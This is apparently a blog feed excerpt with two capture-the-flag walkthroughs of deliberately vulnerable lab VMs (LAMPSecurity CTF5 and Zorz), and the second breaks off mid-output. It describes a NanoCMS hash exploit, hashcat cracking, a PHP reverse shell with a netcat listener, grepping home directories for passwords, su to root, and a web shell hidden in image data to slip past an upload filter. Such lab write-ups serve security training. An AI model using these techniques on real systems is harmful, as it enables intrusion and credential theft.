&lt;h2 id=&quot;author-description&quot;&gt;Author Description&lt;/h2&gt;

&lt;p&gt;The LAMPSecurity project is an effort to produce training and benchmarking
tools that can be used to educate information security professionals and test
products.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Author:&lt;/strong&gt; madirish2600&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Download:&lt;/strong&gt; &lt;a href=&quot;https://www.vulnhub.com/&quot;&gt;VulnHub&lt;/a&gt; via &lt;a href=&quot;https://twitter.com/VulnHub&quot;&gt;@VulnHub&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;enumeration&quot;&gt;Enumeration&lt;/h2&gt;

&lt;h3 id=&quot;host-service-enumeration&quot;&gt;Host Service Enumeration&lt;/h3&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;nmap &lt;span class=&quot;nt&quot;&gt;-v&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; 1-65535 &lt;span class=&quot;nt&quot;&gt;-sV&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-O&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-sT&lt;/span&gt; 192.168.30.130&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;div class=&quot;note info&quot;&gt;
  &lt;h5&gt;Dislcaimer: Multiple Entry Points&lt;/h5&gt;
  &lt;p&gt;The LAMPSecurity series is not particularly challenging, for each VM in the series I&apos;ve targeted the &lt;b&gt;web application&lt;/b&gt; as the entry point.&lt;/p&gt;
&lt;/div&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Port&lt;/th&gt;
      &lt;th&gt;Service&lt;/th&gt;
      &lt;th&gt;Version Detection&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 22&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;SSH&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;OpenSSH 4.7 (protocol 2.0)&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 25&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
              &lt;pc&gt;&lt;p&gt;SMTP&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;Sendmail 8.14.1/8.14.1&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;

        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 80&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
              &lt;pc&gt;&lt;p&gt;HTTPD&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;Apache httpd 2.2.6 ((Fedora))&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;

        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 110&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
              &lt;pc&gt;&lt;p&gt;POP3&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;ipop3d 2006k.101&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 111&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
              &lt;pc&gt;&lt;p&gt;rpcbind&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;N/A&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;

        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 138&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
              &lt;pc&gt;&lt;p&gt;netbios-ssn&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;Samba smbd 3.X&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;

        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 143&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
              &lt;pc&gt;&lt;p&gt;IMAP&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;University of Washington IMAP imapd&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 445&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
              &lt;pc&gt;&lt;p&gt;netbios-ssn&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;Samba smbd 3.X (workgroup: MYGROUP)&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;

        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP:901 &lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
              &lt;pc&gt;&lt;p&gt;HTTP&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;Samba SWAT administration server&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;

        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP:3306 &lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
              &lt;pc&gt;&lt;p&gt;MySQL&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;MySQL 5.0.45&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;

        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP:36644 &lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
              &lt;pc&gt;&lt;p&gt;RPC&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;RPC&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;

        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP:36644 &lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
              &lt;pc&gt;&lt;p&gt;RPC&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;RPC&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;

      &lt;/tbody&gt;

&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;http-enumeration&quot;&gt;HTTP Enumeration&lt;/h3&gt;

&lt;p&gt;Inspection of the Web Application revealed the blog used a URL path of &lt;code&gt;/~andy/&lt;/code&gt;, indicating it was serving an Apache home dir - username enumeration is possible. Further inspection of the web application indicated the use of GET requests &lt;code&gt;/?page=contact&lt;/code&gt;,&lt;/p&gt;

&lt;h4 id=&quot;forced-browsing&quot;&gt;Forced Browsing&lt;/h4&gt;

&lt;p&gt;Dirbuster revealed the directory &lt;code&gt;/~andy/data/nanoadmin.php&lt;/code&gt;,
indicating the site used NanoCMS (this was confirmed by viewing the page
source code).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/ctf5/dirbuster.png&quot; alt=&quot;OWASP DirBuster&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;web-application-enumeration&quot;&gt;Web Application Enumeration&lt;/h2&gt;

&lt;p&gt;Viewing the web application disclosed the application used “NanoCMS”, this
information was also previously discovered using Dirbuster. Research indicated a NanoCMS
vulnerability existed that disclosed the applications password hashes.
&lt;a href=&quot;http://www.securityfocus.com/bid/34508/exploit&quot;&gt;http://www.securityfocus.com/bid/34508/exploit&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&quot;hash-disclosure&quot;&gt;Hash Disclosure&lt;/h3&gt;

&lt;p&gt;Admin hases were successfully retrived using the discovered NanoCMS exploit:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/ctf5/nanocms-vuln-hash.png&quot; alt=&quot;NanoCMS Hash Expose Vuln&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;verified-hash-type&quot;&gt;Verified Hash Type&lt;/h3&gt;

&lt;p&gt;Hash Identifier was used to confirm the hash was md5.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/ctf5/hash-identifier.png&quot; alt=&quot;Hash Identifier&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;hashcat-md5-cracking&quot;&gt;Hashcat md5 cracking&lt;/h2&gt;

&lt;p&gt;Hashcat was used to crack the hash.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# hashcat -m 0 -a 0 ctf5-hash.txt /usr/share/wordlists/rockyou.txt&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Discovered password: &lt;code&gt;9d2f75377ac0ab991d40c91fd27e52fd:shannon&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&quot;web-application-exploitation&quot;&gt;Web Application Exploitation&lt;/h2&gt;

&lt;p&gt;Authentication was successful using the previously cracked hash credential. I
new page was created containing php reverse shell code:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/ctf5/nanocms-webshell.png&quot; alt=&quot;NanoCMS PHP Reverse Shell&quot; /&gt;&lt;/p&gt;

&lt;p&gt;A netcat reverse handler was setup &lt;code&gt;nc -n -v -l -p 443&lt;/code&gt;, the shell
successfully connected back.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/ctf5/rev-shell.png&quot; alt=&quot;php reverse shell&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;linux-local-enumeration&quot;&gt;Linux Local Enumeration&lt;/h2&gt;

&lt;p&gt;Enumeration indicated &lt;code&gt;/home/&lt;/code&gt; directories were readable.&lt;/p&gt;

&lt;p&gt;Grep’ing for the string &lt;strong&gt;password&lt;/strong&gt; discovered the following:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sh-3.2&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-R&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; password /home/&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;

Discovered the file:

/home/patrick/.tomboy/481bca0d-7206-45dd-a459-a72ea1131329.note:  &amp;lt;title&amp;gt;Root
password&amp;lt;/title&amp;gt;
/home/patrick/.tomboy/481bca0d-7206-45dd-a459-a72ea1131329.note:  &amp;lt;text
xml:space&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;preserve&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&amp;lt;note-content &lt;span class=&quot;nv&quot;&gt;version&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;0.1&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;Root password
/home/patrick/.tomboy/481bca0d-7206-45dd-a459-a72ea1131329.note:Root password&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;The file contained the root credentials.&lt;/p&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Username&lt;/th&gt;
      &lt;th&gt;Password&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;root&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;50$cent&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;
      &lt;/tbody&gt;

&lt;/table&gt;
&lt;/div&gt;

&lt;h2 id=&quot;local-privilege-escalation&quot;&gt;Local Privilege Escalation&lt;/h2&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sh-3.2&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;su -
standard &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;must be a &lt;span class=&quot;nb&quot;&gt;tty
&lt;/span&gt;sh-3.2&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;python &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;import pty;pty.spawn(&quot;/bin/sh&quot;)&apos;&lt;/span&gt;
bash-3.2&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;su -
su -
Password: 50&lt;span class=&quot;nv&quot;&gt;$cent&lt;/span&gt;

&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;root@localhost ~]# &lt;span class=&quot;nb&quot;&gt;whoami
whoami
&lt;/span&gt;root
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;root@localhost ~]# &lt;span class=&quot;nb&quot;&gt;id
id
&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;uid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;gid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;groups&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;,1&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;bin&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;,2&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;daemon&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;,3&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;sys&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;,4&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;adm&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;,6&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;disk&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;,10&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;wheel&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;context&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;system_u:system_r:httpd_t:s0&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Thanks for the VM :)&lt;/p&gt;
</description>
        </item>
        
      
    
      
        
        <item>
          <title>Zorz Walkthrough</title>
          <link>https://hacksofdhruv.me/blog/zorz-walkthrough/</link>
          <pubDate>Thu, 01 Feb 2024 11:00:10 +0000</pubDate>
          <dc:creator>Dhruv Ambaliya</dc:creator>
          
          <category>CTF</category>
          
          
          <category>walkthroughs</category>
          
          <guid isPermaLink="true">https://hacksofdhruv.me/blog/zorz-walkthrough/</guid>
          <description>&lt;div class=&quot;coffee-rating&quot;&gt;
&lt;table&gt;
      &lt;tbody&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;p&gt;&lt;code&gt;Difficulty Rating:&lt;/code&gt;&lt;/p&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;p&gt;&lt;i class=&quot;fa-solid fa-fire&quot;&gt;Easy&lt;/i&gt;&lt;/p&gt;
           &lt;/td&gt;
        &lt;/tr&gt;
      &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#author-description&quot; id=&quot;markdown-toc-author-description&quot;&gt;Author Description&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#port-scanning&quot; id=&quot;markdown-toc-port-scanning&quot;&gt;Port Scanning&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#service-enumeration&quot; id=&quot;markdown-toc-service-enumeration&quot;&gt;Service Enumeration&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#http-enumeration&quot; id=&quot;markdown-toc-http-enumeration&quot;&gt;HTTP Enumeration&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#level-1&quot; id=&quot;markdown-toc-level-1&quot;&gt;Level 1&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#level-2&quot; id=&quot;markdown-toc-level-2&quot;&gt;Level 2&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#burp-suite---php-shell-injection-in-an-image-file&quot; id=&quot;markdown-toc-burp-suite---php-shell-injection-in-an-image-file&quot;&gt;Burp Suite - PHP Shell Injection in an Image file&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#reverse-shell&quot; id=&quot;markdown-toc-reverse-shell&quot;&gt;Reverse Shell:&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#level-3&quot; id=&quot;markdown-toc-level-3&quot;&gt;Level 3&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#flag&quot; id=&quot;markdown-toc-flag&quot;&gt;Flag&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;author-description&quot;&gt;Author Description&lt;/h2&gt;

&lt;p&gt;Welcome to the ZorZ VM Challenge&lt;/p&gt;

&lt;p&gt;This machine will probably test your web app skills once again. There are 3 different pages that should be focused on (you will see!) If you solve one or all three pages, please send me an email and quick write up on how you solved each challenge. Your goal is to successfully upload a webshell or malicious file to the server. If you can execute system commands on this box, thats good enough!!! I hope you have fun!&lt;/p&gt;

&lt;h3 id=&quot;port-scanning&quot;&gt;Port Scanning&lt;/h3&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;nmap &lt;span class=&quot;nt&quot;&gt;-v&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; 1-65535 &lt;span class=&quot;nt&quot;&gt;-sV&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-O&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-sT&lt;/span&gt; 10.0.1.110&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;service-enumeration&quot;&gt;Service Enumeration&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Port&lt;/th&gt;
      &lt;th&gt;Service&lt;/th&gt;
      &lt;th&gt;Version Detection&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 80&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;HTTP&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;Apache httpd 2.4.7 ((Ubuntu))&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;
        &lt;/tbody&gt;

&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;http-enumeration&quot;&gt;HTTP Enumeration&lt;/h3&gt;

&lt;p&gt;Enumeration of port 80, discovered &lt;code&gt;login.php&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/zorz/dirbuster.png&quot; alt=&quot;dirbuster&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;level-1&quot;&gt;Level 1&lt;/h2&gt;

&lt;p&gt;The web application has no filter protection, so uploading a PHP shell is possible.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/zorz/uploader1.png&quot; alt=&quot;uploader1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;PHP Shell Upload:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/zorz/file-upload.png&quot; alt=&quot;php shell upload&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The location &lt;code&gt;/uploads2&lt;/code&gt; was previously disclosed by &lt;strong&gt;Dirbuster&lt;/strong&gt;, &lt;code&gt;/uploads1&lt;/code&gt; was discovered manually (logical guess).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/zorz/uploads1.png&quot; alt=&quot;php shell execution&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Reverse shell:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;root:~]# nc &lt;span class=&quot;nt&quot;&gt;-n&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-v&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-l&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; 443                               
listening on &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;any] 443 ...
connect to &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;10.0.1.110] from &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;UNKNOWN&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;10.0.1.111] 33115
Linux zorz 3.13.0-45-generic &lt;span class=&quot;c&quot;&gt;#74-Ubuntu SMP Tue Jan 13 19:37:48 UTC 2015 i686 i686 i686 GNU/Linux&lt;/span&gt;
 16:21:31 up 1 min,  0 &lt;span class=&quot;nb&quot;&gt;users&lt;/span&gt;,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
&lt;span class=&quot;nv&quot;&gt;uid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;33&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;www-data&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;gid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;33&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;www-data&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;groups&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;33&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;www-data&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
/bin/sh: 0: can&lt;span class=&quot;s1&quot;&gt;&apos;t access tty; job control turned off
$ whoami
www-data
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Level 1 complete.&lt;/p&gt;

&lt;h2 id=&quot;level-2&quot;&gt;Level 2&lt;/h2&gt;

&lt;p&gt;The initial attempt to upload the previous shell failed with the error message:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/zorz/upload2-fail.png&quot; alt=&quot;php shell upload fail&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Several attempts were then made to upload shells with various extensions such as &lt;code&gt;shell.png.php&lt;/code&gt; , &lt;code&gt;shell.php.png&lt;/code&gt; etc to bypass the web application filtering, all attempts to bypassed the filtering failed.&lt;/p&gt;

&lt;h3 id=&quot;burp-suite---php-shell-injection-in-an-image-file&quot;&gt;Burp Suite - PHP Shell Injection in an Image file&lt;/h3&gt;

&lt;p&gt;It was apparent the web application had a mechanism for image file validation, several attempts were made to inject the php shell code into the image file. The solution was to inject the code at the end of the image data.&lt;/p&gt;

&lt;p&gt;The file extension also needed modifying to &lt;code&gt;.php.jpg&lt;/code&gt;, this appeared to force the web server to process the file, likely due to poorly configured Apache MIME types.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/zorz/burp-php-shell-injection-in-an-image.png&quot; alt=&quot;Burp Suite shell injection in an image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Image uploaded successfully.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/zorz/uploaded-shell.png&quot; alt=&quot;Shell Upload&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Execution of image from &lt;code&gt;/uploads2&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/zorz/dir.png&quot; alt=&quot;upload dir&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;reverse-shell&quot;&gt;Reverse Shell:&lt;/h3&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;root:~]# nc &lt;span class=&quot;nt&quot;&gt;-n&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-v&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-l&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; 443
listening on &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;any] 443 ...
connect to &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;10.0.1.110] from &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;UNKNOWN&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;10.0.1.111] 33118
Linux zorz 3.13.0-45-generic &lt;span class=&quot;c&quot;&gt;#74-Ubuntu SMP Tue Jan 13 19:37:48 UTC 2015 i686 i686 i686 GNU/Linux&lt;/span&gt;
 17:02:32 up 42 min,  0 &lt;span class=&quot;nb&quot;&gt;users&lt;/span&gt;,  load average: 0.00, 0.01, 0.01
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
&lt;span class=&quot;nv&quot;&gt;uid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;33&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;www-data&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;gid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;33&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;www-data&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;groups&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;33&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;www-data&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
/bin/sh: 0: can&lt;span class=&quot;s1&quot;&gt;&apos;t access tty; job control turned off
